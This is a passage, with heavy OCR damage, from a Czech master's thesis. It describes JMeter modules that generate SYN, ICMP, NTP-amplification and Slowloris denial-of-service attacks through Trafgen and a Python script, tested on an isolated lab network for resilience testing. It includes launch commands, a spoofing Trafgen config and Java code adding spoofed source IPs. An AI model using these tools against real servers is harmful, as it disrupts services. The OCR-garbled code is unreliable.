Pro 1itok Slowloris je jako externiho genratoru pakett vyuzit skript v jazyce Python
dostupny na strance [11].

Nejdrive je potfeba stahnout skript pomoci néasledujiciho ptrikazu. Tento prikaz
je nutné pouzit z domovského adresare uzivatele aby byla zachovana defaultni cesta
ke skriptu.

Vypis 4.17: Ziskani skriptu Slow Loris.
git clone https://github.com/gkbrk/slowloris. git

Oproti implementaci itoku SYN Flood je tedy nutné provézt tyto zmeény:
o spoustéci prikaz — misto nastroje Trafgen se bude spoustét Python skript,
o zadny konfiguracni soubor neni potieba,

o zavedeni novych parametri,
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o Uuprava grafického rozhrani.

Jelikoz se zde nepouziva zadny konfiguracni soubor, je potireba nalézt jiny zptsob
jak rozlisit procesy vice spusténych ttoku Slow Loris. Pro tento tikol je opét vyuzito
casové znacky TIMESTAMP. Ta ale musi byt vnesena do nazvu samotného skriptu
Slow Loris, jehoz nazev se poté bude vyskytovat ve vypisu bezicich procesi pomoci
prikazu ps -few.

Je zde vytvorena metoda getSpecificSlowLorisPID(), kterd je obdobou me-
tody getTrafgenPIDs(). Vstupem této metody je proménna String command, ve
které je ulozeny spoustéci prikaz, ktery v sobé zahrnuje jedine¢nou casouvou znacku
TIMESTAMP. Metoda prohledava vypis piikazu ps -few. Pokud nalezne tadek, ktery
obsahuje fetézec shodny s fetézcem command (obsahuje nazev skriptu s ¢asovou znac-
kou) ulozi si indentifikacni ¢isla procest do listu. Tento list s PID je poté vyuzit k
zastaveni procesu stejné jako u sampleru SYN Flood.

Pro zachovani ptivodniho skriptu nedotéeného a zabranéni zbyteénému zahlco-
vani souborového systému, jsou vytvoreny dvé néasledujici metody:

o renameSLfile() — skopiruje Python skript pro Slow Loris a vlozi do jeho

nazvu casovou znacku,

e deleteSLfile() — po ukonceni testu vymaze skopirovany skript.

Vstupem obou metod je c¢asova znacka. Obé metody také pracuji s proménnou
tmpdir, které slouzi k zajisténi spravné cesty k souboru. Prvni metoda spusti ptrikaz
cp s pravy superuzivatele a tim skopiruje skript do nového souboru s ¢asovou znackou
v nazvu. Druhd metoda spusti prikaz rm opét s pravy superuzivatele a smaze soubor,
ktery méa v nazvu onu konkrétni ¢asovou znacku.

Samotny piikaz pro spusténi skriptu mé nésledujici podobu.

Vypis 4.18: Priikaz pro spusténi skriptu Slow Loris.

String command= "python," +tmpdir + "/slowloris/"+
this.getPropertyAsString (TIMESTAMP)+
"slowloris .py —v"'+ randomize + useHttps + port +
"'—su" 4+ number + """ +
this.getPropertyAsString (TARGETIP) ;

// uwloZend prikaz do findlni proménné

this.setProperty (COMMAND, command) ;

Parametry, které ovliviuji utok Slow Loris, jsou zadavany piimo ve spoustécim
prikazu. Ve vypisu 4.18 je mozné vidét tyto parametry pod proménnymi:
o randomize — zdali ma byt simulovana zména prohlizece (user agent) u jednot-
livych pozadavkaii,
o useHttps — zdali ma byt u pozadavki vyuzito HTTPS,
o port — ¢islo portu (defaultni hodnota je 80),
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e number — pocet sokettl, které maji byt otevreny s cilovym serverem, udava silu
utoku,

o TARGETIP — cilova IP adresa obéti.

Grafické uzivatelské rozhrani je pomérné jednoduché a obsahuje prvky k nasta-

veni vysSe zminénych parametri.

Slow Loris

Name: [Slow Loris |

Comments:

Options
(D Use HTTPs [ |Randomize user-agents with each request

Target IP: [192.168.0.1 |
Port (Default is 80): [80 |

Number of Requests (Opened Sockets): [1000 |

Obr. 4.6: Grafické uzivatelské rozhrani modulu Slow Loris.

4.7 Testovani modult vyuzivajich externi genera-

tor pakett

Cilem testovani modult je ovéreni jejich funkcénosti a déale provedeni vykonnostni
analyzy v zavislosti na dostupnych systémovych prostredcich. Testovani je provedeno

na izolované lokalni siti mezi PC1 a PC2 podle zapojeni na obrazku 4.7.

Utok
§ > Ethernet 100 Mb/s

PC1 PC2
VM Cent OS 7 VM Cent OS 7
JMeter Apache
192.168.0.15 192.168.0.20

Obr. 4.7: Schéma zapojeni pti testovani.
Hostitelsky systém PC1 je osazen osmijadrovym procesorem AMD FX-8350 o

frekvenci 4 GHz a 8 GB paméti RAM. Hostitelsky systém PC2 je osazen dvoujad-

rovym procesorem Intel Core i5 6200U o frekvenci 2,3 GHz (s pomoci technologie
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Hyper Threading disponuje 4 fyzickymi vldkny) a 8 GB paméti RAM. Na obou sys-
témech je spustén virtualni stroj Linux CentOS 7. Na PC2 je nainstalovan Apache

web server.

4.7.1 Pouziti a funkcénost modulu

V této sekci je postupné otestovana funkce vsech vytvorenych moduli. Pro jejich
pouziti je tfeba vyuzit upraveného spravce vlaken Trafgen Thread Group. V ramci
jeho funkce byl ispésné otestovan casovac, ktery spusti a ukonci test v Cas zadany
uzivatelem podle obrazku 4.8.

Trafgen Thread Group

Name: |Trafgen Thread Group

Comments:
Action to be taken after a Sampler error

@ Continue () Start Next Thread Loop () Stop Thread O Stop Test () Stop Test Now
Use for DoS Samplers:
DNS Amplification, DNS Server Attack, ICMP Flood, NTP Flood, Slow Loris, Syn Flood, SYN Flood 2, Trafgen custom config, UDP Flood.

Thread Properties
[IDelay Thread creation until needed

Scheduler

Scheduler Configuration
Duration (seconds) |

Startup delay (seconds) |

|
J
Start Time [2017/05/20 10:16:00| |
End Time [2017/05/20 10:20:00 |

Obr. 4.8: Nastaveni casovace v Trafgen Thread Group.

Dale jsou testovany moduly, vzdy pomoci odeslani nékolika zkusebnich pakett a

jejich analyzou v programu Wireshark.
SYN Flood

Odeslano 10 pakett na adresu PC2 s pouzitim inkrementované zdrojové MAC
adesy v rozsahu 00:01:02:03:aa:11 — 00:01:02:03:aa:22, ndhodné zdrojové IP adresy
v rozsahu 192.168.0.50 — 192.168.0.100 a nahodného zdrojového portu v rozsahu
1024 — 65535. Na obrazku 4.9 1ze vidét, ze odeslané pakety SYN méni parametry ze
zadaného rozsahu v kazdém odeslaném paketu.

ICMP Flood

Odeslano 10 pakett na adresu PC2 s pouzitim inkrementované zdrojové MAC
adesy v rozsahu 00:01:02:03:aa:11 — 00:01:02:03:aa:22, ndhodné zdrojové IP adresy
v rozsahu 192.168.0.50 — 192.168.0.100 a nahodného zdrojového portu v rozsahu
1024 — 65535. Pro testovani pouzit typ ICMP pozadavku 8, tedy Echo Request.
Na obrazku 4.10 lze vidét, ze odeslané pakety ICMP méni parametry ze zadaného

rozsahu v kazdém odeslaném paketu.
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No. Time Source Destination Protoco Length Info

71 44.891809753 .168.0.81 .168.0.20 66 32027 > http [SYN] Seq=0 Win=16 Len=0
72 44,892045470 192.158.0.63 192,168.0.20 TCP 56 36680 > http [SYN] Seq=0 wWin=16 Len=0
73 44.892092423 192.168.0.79 192.168.0.20 TCP 66 58277 > http [SYN] Seq=0 Win=16 Len=0
74 44.898016819 192.158.0.80 192.168.0.20 TCP 66 5626 > http [SYN] Seg=0 Win=16 Len=0
75 44.898085633 192.1658.0.832 192.168.0.20 TCP 66 51573 > http [SYN] Seq=0 Win=16 Len=0
76 44.893088034 192.168.0.66 192.168.0.20 TCP 66 31859 > http [SYN] Seq=0 Win=16 Len=0
77 44.898089796 192.168.0.77 192.168.0.20 TCP 66 35411 > http [SYN] Seq=0 Win=16 Len=0
78 44.898162818 192.168.0.80 192.168.0.20 TCR 66 10495 > http [SYN] Seq=0 Win=16 Len=0
79 44.898195971 192.168.0.71 192.168.0.20 TCP 66 59904 = http [SYN] Seq=0 Win=16 Len=0
80 44.898229456 192.158.0.70 192.168.0.20 TCP 66 43959 = http [SYN] Seq=0 Win=16 Len=0

Obr. 4.9: Testovani modulu SYN Flood.

No. Time Source Destination Protoco Length Info
72 29.561544250 192.168.0.85 .168.0.20 64 Echo request 1d=0x002a, seq=0/0, ttl=64
73 29.561756014 192.168.0.67 192.168.0.20 TCMP 64 Echo (ping) request 1id=0x002a, seq=0/0, ttl=64
74 29.561760848 192.168.0.70 192.168.0.20 ICMP 64 Echo (ping) request 1d=0x802a, seq=1/256, ttl=54
75 29.561762589 192.168.0.65 192.168.0.20 TCMP 64 Echo (ping) request id=0x@0za, seq=2/512, ttl=64
76 29.564775490 192.168.0.83 192.168.0.20 ICMP 64 Echo (ping) request 1id=0x@02a, seq=0/0, ttl=64
77 29.564987664 192.168.0.51 192.168.0.28 TCMP 64 Echo (ping) request 1id=0x802a, seq=1/256, ttl=64
78 28.565106586 192.168.0.86 192.168.0.20 ICMP 64 Echo (ping) request 1d=0x002a, seq=2/512, ttl=64
79 29.569447111 192.168.0.98 192.168.0.28 TCMP 64 Echo (ping) request 1d=0x802a, seq=0/8, ttl=64
20 29.565714857 192.168.0.95 192.168.0.20 TCMP 64 Echo (ping) request id=0x802a, seq=1/256, ttl=64
81 29.569774295 192.168.0.72 192.168.0.20 ICMP 64 Echo (ping) 'request 1d=0x802a, seq=2/512, ttl=54

Obr. 4.10: Testovani modulu ICMP Flood.

NTP Flood

Odeslan 1 testovaci paket na lokdlni NTP server, ktery je spustén na dalSim
virtudlnim stroji CentOS 7 na PC1 a ma adresu 192.168.0.28. Na obrazku 4.12 lze
vidét odeslany paket pozadavku ,get monlist“ a odpovéed NTP serveru. Muzeme
pozorovat, ze odpoveéd serveru je priblizné 175% velikosti pozadavku. To souhlasi s

teorii a principem ttoku NTP Flood.
Slowloris

Funkce modulu Slowloris je otestovana otevienim 1 komunikacniho soketu na
adresu Apache server na PC2 pomoci bézného HTTP. Na obrazku 4.12 je zachycena
komunikace mezi PC1 a PC2 tésné po zapocati testu. Utok Slowloris pokracuje v
odesilani ¢asti HTTP hlavicky kazdych 15sekund tak, aby zajistil udrzeni otevieného

spojeni s web serverem.
Univerzalni modul

Pro testovani je nahran konfigura¢ni soubor titoku ICMP Flood, ktery je nasledné
pozmeénén v nékolika polich (viz obrazek 4.13):

o TTL pfepsano na hodnotu 36,

o typ pozadavku prepsan na hodnotu 13, tedy Timestamp request.
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No. Time Source Destination Protoco Length Info

3 2.196534384 182.168.0.15 152.168.0.24 NTP 234 NTP Version 2, private
4 2.196895711 192.16B8.0.24 192.168.0.15 NTP 410 NTP Version 2, private

Frame 4: 410 bytes on wire (3280 bits), 410 bytes captured (3280 bits) on interface 0
Ethernet II, Src: Vmware_ba:02:26 (00:0c:29:ba:02:26), Dst: Vmware_59:1b:16 (00:0c:29:59:1b:16)
Internet Protocol Version 4, Src: 192.168.0.24 (192.168.0.24), Dst: 192.168.0.15 (192.168.0.15)
User Datagram Protecel, Sre Port: ntp (123), Dst Port: 42418 (42418)
Network Time Protocel (NTP Version 2, private)
+ Flags: 0xg97
< Auth, sequence: ©
Implementation: XNTPD (32)
Request code: MON_GETLIST_1 (42)

U E

Obr. 4.11: Testovani modulu NTP Flood.

No. Time Source Destination Protoco Length Info
22 13.768521546 192.168.0.15 192.168.0.20 TCP 74 55370 = http [SYN] Seg=0
23 13.7688038594 1592.168.0.20 192.168.0.15 TCP 74 http = 55370 [SYN, ACK] S
24 13.768890858 192.168.0.15 192.168.0.20 TCP 66 55370 > ht‘tp [ack] Seq=1
25 13.7689589823 152.168.0.15 192.168.0.20 TCP 85 [TCP segment of a reasserm
26 13.769245553 192.168.0.20 192.168.0.15 TCP 65 http > 55370 [AcK] Seq=1
27 13.769276151 192.168.0.15 192.168.0.20 TCP 189 [TCP segment of a reasser
28 13.769419253 152.168.0.20 192.168.0.15 TCP 66 http = 55370 [ACK] Seg=1

Obr. 4.12: Testovani modulu Slowloris.

Opét odeslano 10 pakett na adresu PC2 s pouzitim inkrementované zdrojové
MAC adesy v rozsahu 00:01:02:03:aa:11 — 00:01:02:03:aa:22, ndhodné zdrojové 1P
adresy v rozsahu 192.168.0.10 — 192.168.0.100 a ndhodného zdrojového portu v roz-
sahu 1024 — 65535. Na obrazku 4.14 lze vidét, ze odeslané pakety ICMP splnuji
parametry rucné upravené v konfiguracnim souboru skrze grafické uzivatelské roz-

hrani.

4.7.2 Vykonnostni analyza

V této sekci jsou provedeny 2 experimenty v ramci vykonnostni analyzy nové vy-
tvorenych moduli.

Z téchto experimentl je vypustén modul Slowloris, ktery pracuje na zcela jiném
principu a jeho parametry rychlosti odesilani pakett ¢i vytizeni linky jsou proti

ostatnim utokum (zaplavovym) zanedbatelné a irelevantni.
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DoS - Trafgen custom config

Name: \DoS - Trafgen custom config
Comments:

Trafgen startup parameters
Network Interface |en033554984 [~

Number of Packets: [10 |
Packet Rate [ppsl: | |

#define ETH_P_IP 0x0800

{
eth{daddr=ff:ff.ff:ff.ff.ff, saddr=dinc(4328761873, 4328761890), proto=ETH_P_IP),

ipvd(ttl=38, ver=4, len=59, flags=0b01000000, frag=0, df, da=192.168.0,20, sa=drnd(3232235530, 3232235620)),
icmpd(type=13, code=0, id=42, seq=dinc(1)),

fill('B',22),

Obr. 4.13: Uprava konfiguraéniho souboru v grafickém uZivatelském rozhrani uni-

verzalnitho modulu.

No. Time Source Destination Protoco Length Info
229 92.366625046 192.168.0.60 .168.0.20 64 Timestamp request 1d=0x002a, seq=0/0, ttl=36
230 92.366823617 192.168.0.40 192.168.0.20 ICcMP 64 Timestamp reguest 1d=0x002a, seq=0/0, ttl=38
231 92.366826498 192.168.0.89 192.168.0.20 IcMP 64 Timestamp request 1d=0x002a, seq=1/256, ttl=36
232 92.366827776 192.168.0.71 192.168.0.20 ICcMP 64 Timestamp request 1d=0x002a, seq=2/512, ttl=36
233 92.366829025 192.168.0.96 192.168.0.20 IcMP 64 Timestamp request 1d=0x0082a, seq=0/0, ttl=38
234 92.366830636 192.168.0.27 192.168.0.20 ICMP 64 Timestamp request 1d=0x002a, seq=1/256, ttl=36
235 92.366832182 192.168.0.73 192.168.0.20 IcmP 64 Timestamp reguest 1d=0x0082a, seq=2/512, ttl=36
236 92.373073920 192.168.0.47 192.168.0.20 IcMP 64 Timestamp request 1d=0x002a, seq=0/0, ttl=38

Obr. 4.14: Testovani univerzalniho modulu.

Experiment ¢. 1

Prvni experiment porovnava vykon jednotlivych modulti mezi sebou. Pro vSechny
moduly plati stejné podminky. Dostupné systémové prostiedky jsou ustanoveny na
6 CPU a 4 GB paméti RAM. Vzdy je odeslano 10 000 000 paketu s nejvétsi moznou
rychlosti odesilani (pole pro zadavani rychlosti odesilani je prazdné). Porovnaji se
parametry:

« prumeérna rychlost odesilani paketi v jednotkach pakett za sekundu [pps],

« doba trvani testu od spusténi do ukonceni, v tabulce zkrdcené — cas [s],

o prumérné vytizeni spojové linky [MB/s].

Vysledky tohoto experimentu jsou zobrazeny v tabulce 4.5. Vykon jednotlivych
modultl je srovnatelny, kromé modulu NTP Flood, ktery diky jeho vétsi velikosti
paketii (viz tabulka 4.4) dosahuje vétsiho vytizeni linky. Modul NTP Flood je také
o néco rychlejsi, tento jev prikladam absenci dynamickych funkci pii generovani IP
adresy (v NTP Flood je jedna adresa cile a jedna adresa NTP serveru). Tvirci
nastroje Trafgen uvadéji, ze pouziti téchto dynamickych funkci méa vliv na vykon
genratoru.

Vysledky tohoto experimetu jsou také znazenény v graficky viz 4.15, 4.16 a 4.17.
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Tab. 4.4: Velikost paketu u zaplavovych utokt.

Modul Velikost paketu [B] ‘
SYN Flood 66
ICMP Flood 64
NTP Flood 234

Tab. 4.5: Porovnani moduli.

Modul H Cas [s] ‘ Rychlost odesilani [pps] ‘ Vytizeni linky [MB/s] ‘
SYN Flood 118 88495 4,5
ICMP Flood 121 86206 4,3
NTP Flood 110 93457 16,7
Univerzalni m. 120 86965 4,3

Tab. 4.6: Vykon modulu SYN Flood a NTP Flood v zavislosti na po¢tu CPU

SYN Flood NTP Flood
Pocet CPU || Cas [s] ‘ [pps] | Vytizeni [MB/s] | Cas [s] | [pps] ‘ Vytizeni [MB/s]
1 436 23201 1,4 451 22421 5,1
2 210 48780 3,1 203 50251 11,5
3 196 51020 3,9 193 53191 12,8
4 178 57803 4,5 169 60975 15,3
6 118 88495 4,8 125 83333 16,7

Experiment ¢. 2

Druhy experiment porovnava vykon modulu v zavislosti na dostupny systémo-
vych prostredcich. Pri testovani jsem dospél k zavéru, ze velikost paméti RAM neméa
vliv na vykon modulu, protoze spotifeba paméti generatorem je velice nizka (v pru-
béhu testovani se pohybovala okolo hodnoty 200 MB). Pro testovani jsou zvoleny

dva moduly, a to SYN FLood a NTP Flood, pro provnani vykonu v zavislosti na

velikosti paketu.

Vysledky tohoto experimentu jsou zobrazeny v tabulce 4.6. Nejvétsi nartst vy-

konu je pri pfechodu z 1 jadra na 2. Déle se vykon zvedd s ptiblizné lineadrni cha-

rakteristikou. Vysleky jsou také zobrazeny graficky viz 4.18; 4.19 a 4.20.
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Porovnani Utoktd v dobé trvani testu
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Obr. 4.15: Porovnani vykonu modul podle c¢asu.
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Obr. 4.16: Porovnani vykonu modulii podle rychlosti odesilani pakett.
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Porovnani Utoku ve vytizenf linky
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Vytizeni linky [MB/s]
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Obr. 4.17: Porovnani vykonu modult podle vytiZeni linky.
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Obr. 4.18: Graf zavisloti doby trvani testu na poc¢tu CPU.
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Obr. 4.19: Graf zavisloti rychlosti odesilani paketii na poc¢tu CPU.
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Obr. 4.20: Graf zavisloti vytizeni linky na poc¢tu CPU.
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5 ZAVER

Cilem diplomové préace bylo blize se seznamit s problematikou kybernetickych ttoki
typu odepreni sluzby, prostudovat nastroj JMeter se zaméfenim na jeho rozsiteni
pomoci modulil a rozsiteni pomoci externiho generatoru sitového provozu Trafgen.
Déle poté navrhnout a realizovat modul nékolika zastupcti kybernetickych ttoku.
K tomuto tcel byly vybrany tutoky HTTP Flood, SYN Flood, ICMP Flood, NTP
Flood, Slowloris a obecny utok pomoci univerzalniho modulu. VSechny moduly jsou
implementované v programovacim jazyce JAVA.

V prvni kapitole je rozebrana problematika kybernetickych utokt typu odepreni
sluzby. Je zde uvedeno obecné rozdéleni ttokii podle jejich vlastnosti a zptsobu
odepreni sluzby véetné popisu konkrétnich itokt pouzitych v této praci.

Nasledujici ¢ast prace se vénovala nastoji JMeter, ur¢eného pro zatézové tes-
tovani serveri. Pojednava o strukture testovaciho planu, funkcich nastroje a moz-
nostech jeho rozsireni pomoci moduli. Jsou zde nastinéna dvé TfeSeni rozsirujicitho
modulu. Prvni feseni vyuziva primo funkci z jadra programu JMeter a druhé vy-
uziva externiho generatoru sitového provozu ve spojeni s uzivatelskym rozhranim
nastroje JMeter. Déale je v této kapitole popsan program Trafgen, jakozto zastupce
generatort sitového provozu.

Tteti kapitola se vénuje navrhu a implementaci modulu pro itok HTTP Flood.
Nejprve je popsan obecny postup pro tvorbu nového modulu. Nasleduje samotna re-
alizace modulu HTTP Flood. Modul HTTP Flood vychazi z jiz existujici funkce
JMeteru — HT'TP Request. V realizaci jsou popsany naprogramované metody, které
umozni uzivateli nahodné ménit zdrojovou IP adresu HT'TP pozadavku ze zadaného
rozsahu. Dale je zde popsana tprava grafického rozhrani modulu, tak aby podporo-
valo vyse zminénou funkci.

Na zavér kapitoly je novy modul tspésné otestovan. Nejprve je testovana jeho
zékladni funkénost, dalé je porovnan s jeho vzorem — funkei HT'TP Request — a nako-
nec je zkoumana zavislost vykonu modulu na dostupnych systémovych prostiedcich.

Ctvrta kapitola popisuje navrh a implementaci modulit s vyuzitim externiho
generatoru sifového provozu. Jedné se o moduly:

« SYN Flood,

ICMP Flood,
NTP Flood,

Univerzalni modul,

o Slowloris.
Prvni ¢tyfi moduly vyuzivaji vykonného generatoru Trafgen. Univerzalniho mo-
dul umoznuje uzivateli upravit konfiguracni soubor a tim provézt jakykoli utok v

ramci moznosti generatoru Trafgen. K pouziti s témito moduly je vytvoren prvek
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Trafgen Thread Group, ktery nahrazuje klasicky Thread Group nastroje JMeter.
Dalsim implementovanym modulem je titok Slowloris, ktery vyuziva jako generatoru
skript napsany v jazyce Python.

Nejprve je v kapitole popsdn obecny princip jak implementovat modul tohoto
druhu a také detailnéjsi informace ke generatoru Trafgen. Nejdetailnéji je popsan
utok SYN Flood, z néhoz nésledné ostatni ttoky vychazeji.

Kapitola je uzavrena testovanim nové vytvorenych modult. V ramci testovani je
uspésné ovérena jejich funkce a provedena vykonnostni analyza.

Vsechny navrzené a implementované moduly do néastroje JMeter jsou funkéni
a umoznuji testovani odolnosti sifové infrastruktury proti temto utoktim. Vsechny

stanovené cile diplomové prace byly splnény.
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SEZNAM SYMBOLU, VELICIN A ZKRATEK

ACK
BSF

B
CPU
DoS
DDoS
DNS
FTP
HTTP
HTTPS
ICMP
P
Java
JDBC
JMS
LAN
MB/s
NTP
OS

pPC
PDF
plug-in
pps

RAM

Acknowledgment — priznak protokolu TCP
Skriptovaci jazyk

Bajt

Central Processing Unit

Denial of Service — odepreni sluzby
Distributed Denial of Service — distribuované odepreni sluzby
Domain Name System

File Transfer Protocol

Hypertext Transfer Protocol

Hypertext Transfer Protocol Secure
Internet Control Message Protocol
Internetovy protokol — Internet Protocol
Programovaci jazyk

Java Database Connectivity

Java Messaging Services

Mistni sit — Local area network

Jednotka poctu mega-bajti za sekundu
Network Time Protocol

Operac¢ni Systém — Operating System
Osobni pocita¢ — Personal computer
Portable Document Format

Doplnkovy zasuvny modul aplikace

Pocet paketii za sekundu — Packets per second

Operacni pamét
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REST Representational State Transfer

SOAP Simple Object Access Protocol

SMTP Simple Mail Transfer Protocol

SYN Synchronize sequence numbers — priznak TCP
TCP Transmission Control Protocol

TCP/IP Sitovy model zalozeny na 4 vrstvach

UDP User Datagram Protocol

WAN Rozlehla pocitacova sit — Wide are network
XML-RPC Protokol pro vzdalené volani procedur

XNTPD Systémova sluzba, kterd se stard a synchronizaci ¢asu systému s

internetem
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A OBSAH PRILOZENEHO DVD

Obsahem prilozeného DVD je:
o elektronicka verze diplomové prace ve formatu PDF,
o adresal modules jar — vytvorené moduly, pripravené pro pouziti s programem
JMeter verze 3.0:
— HttpFlood. jar,
— SynFlood. jar,
— IcmpFlood. jar,
— NtpFlood. jar,
— SlowLoris. jar,
— TrafgenCustomConfig. jar,
— TrafgenThreadGroup. jar,
o kompletni projekt apache-jmeter-3.0, pro nac¢teni do programu Eclipse, obsa-
hujici:
— zdrojové soubory vsSech vytvorenych moduli,
— zdrojové soubory spravce vlaken Trafgen Thread Group,
e zdrojové soubory zvlast:
— adresar modules src — vytvorené moduly,
— adresar ttg src — spravce vldken Trafgen Thread Group,
o ukézkové konfiguracéni soubory nastroje Trafgen:
— SynFlood.cfg,
— IcmpFlood.cfg,
— NtpFlood.cfg.
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B KOMPLETNI VYPISY METOD

Vypis B.1: Kompletni vypis metod actionPerformed() pro tlacitka ,Apply“ a
,Delete .
final JButton applyButton = new JButton("Apply");

applyButton.addActionListener (new ActionListener () {
public void actionPerformed(ActionEvent e) {
String pathAdd = "/tmp/"+timestamp+"IpAddrAdd.sh";
String pathDel = "/tmp/"+timestamp+"IpAddrDel.sh";

createlpScript (getMinIPValue (sourceIpAddrMin. getText ()),
getMaxIPValue (sourcelpAddrMax . getText () ), enterMask.getText
(), selectInt.getSelectedItem ().toString (), pathAdd, "add,'

)

String [| argsl = new String[] {"/bin/bash", '—c","pkexec bash"
+pathAdd};

createlpScript (getMinIPValue (sourceIpAddrMin. getText ()),
getMaxIPValue (sourcelpAddrMax . getText () ), enterMask.getText
(), selectInt.getSelectedItem ().toString (), pathDel, "del,"

)

try {
Process proc = new ProcessBuilder (argsl).start(); //spust{
skript IpAddrAdd. sh
proc.waitFor () ;
JOptionPane.showMessageDialog(parent , "Ip adresses added.");
} catch (Exception ex) {
System .out.println (ex);

}
1)

final JButton deleteButton = new JButton("Delete");
deleteButton.addActionListener (new ActionListener () {

public void actionPerformed (ActionEvent e2) {

String pathAdd = "/tmp/"+timestamp+"IpAddrAdd.sh";
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String pathDel = "/tmp/"+timestamp+"IpAddrDel.sh";

String [|] args2 = new String[] {"/bin/bash", "—c¢", "pkexec bash "+
pathDel };

String [| args3 = new String[] {"/bin/bash", '—c", "pkexec rm; "+
pathDel+" "+pathAdd };

try {
Process proc2 = new ProcessBuilder(args2).start(); //spusti

skript IpAddrDel. sh

proc2.waitFor () ;

Process proc3 = new ProcessBuilder(args3).start(); //odstrant
skripty

proc3.waitFor () ;

JOptionPane.showMessageDialog (parent, "Ip  adresses deleted.");

} catch (Exception ex2) {
System.out. println (ex2);

Vypis B.2: Kompletni vypis metody rangeMacFunction().

public String rangeMacFunction(String minMac, String maxMac){
String hexMin = minMac;
String hexMax = maxMac;
hexMin = hexMin.replaceAll(":", "");
hexMax = hexMax.replaceAll(":", "");

long outl = Long.parseLong(hexMin, 16);
long out2 = Long.parseLong(hexMax, 16);

String out = "dinc("+outl+", "+out2+")";

return out;
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Vypis B.3: Kompletni vypis metody rangeIpFunction().

public String rangelpFunction(String minIP, String maxIP){
// parsovdni vstupi
String [] parsedMin = minIP.split ("\\.");

int minl = Integer.parselnt (parsedMin[0]) ;
int min2 = Integer.parselnt (parsedMin[1]) ;
int min3 = Integer.parselnt (parsedMin [2]) ;
int mind = Integer.parselnt (parsedMin[3]) ;

String [] parsedMax = maxIP.split ("\\.");

int maxl = Integer.parselnt (parsedMax[0]) ;
int max2 = Integer.parselnt (parsedMax[1]) ;
int max3 = Integer.parselnt (parsedMax[2]) ;
int max4 = Integer.parselnt (parsedMax[3]) ;

// prevod oktetd do bindrniho tvaru

String binaryMinl = "00000000"+Integer.toBinaryString (minl);
int diffl = 8 — Integer.toBinaryString (minl).length () ;
binaryMinl = binaryMinl.substring(8—diffl);

String binaryMin2 = "00000000"+Integer.toBinaryString (min2);
int diff2 = 8 — Integer.toBinaryString (min2).length () ;
binaryMin2 = binaryMin2.substring(8—diff2);

String binaryMin3 = "00000000"+Integer.toBinaryString (min3);
int diff3 = 8 — Integer.toBinaryString(min3).length ();
binaryMin3 = binaryMin3.substring(8—diff3);

String binaryMin4 = "00000000"+Integer.toBinaryString (min4);
int diff4 = 8 — Integer.toBinaryString(min4).length () ;
binaryMin4 = binaryMin4.substring(8—diff4);

String binaryMaxl = "00000000"+Integer.toBinaryString (maxl);
int diffll = 8 — Integer.toBinaryString (maxl).length () ;
binaryMax1 = binaryMax1.substring(8—diffl11);

String binaryMax2 = "00000000"+Integer.toBinaryString (max2);
int diff22 = 8 — Integer.toBinaryString (max2).length () ;
binaryMax2 = binaryMax2.substring(8—diff22);
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String binaryMax3 = "00000000"+Integer.toBinaryString (max3) ;
int diff33 = 8 — Integer.toBinaryString (max3).length () ;
binaryMax3 = binaryMax3.substring(8—diff33);

String binaryMax4 = "00000000"+Integer.toBinaryString (max4) ;
int diff44 = 8 — Integer.toBinaryString (max4).length () ;
binaryMax4 = binaryMax4.substring(8—diff44);

// skldddini IP adres
String binaryMin = binaryMinl+4binaryMin2+binaryMin3+binaryMin4;
String binaryMax = binaryMaxl+4binaryMax2+binaryMax3+binaryMax4 ;

// prevod z bindrni do desitkové soustavy
long outMin = Long. parseLong(binaryMin, 2);
long outMax = Long.parseLong(binaryMax, 2);

// vistup
String out = "drnd(" + outMin + ", " 4+ outMax + ")";
System.out. println (out);

return out;
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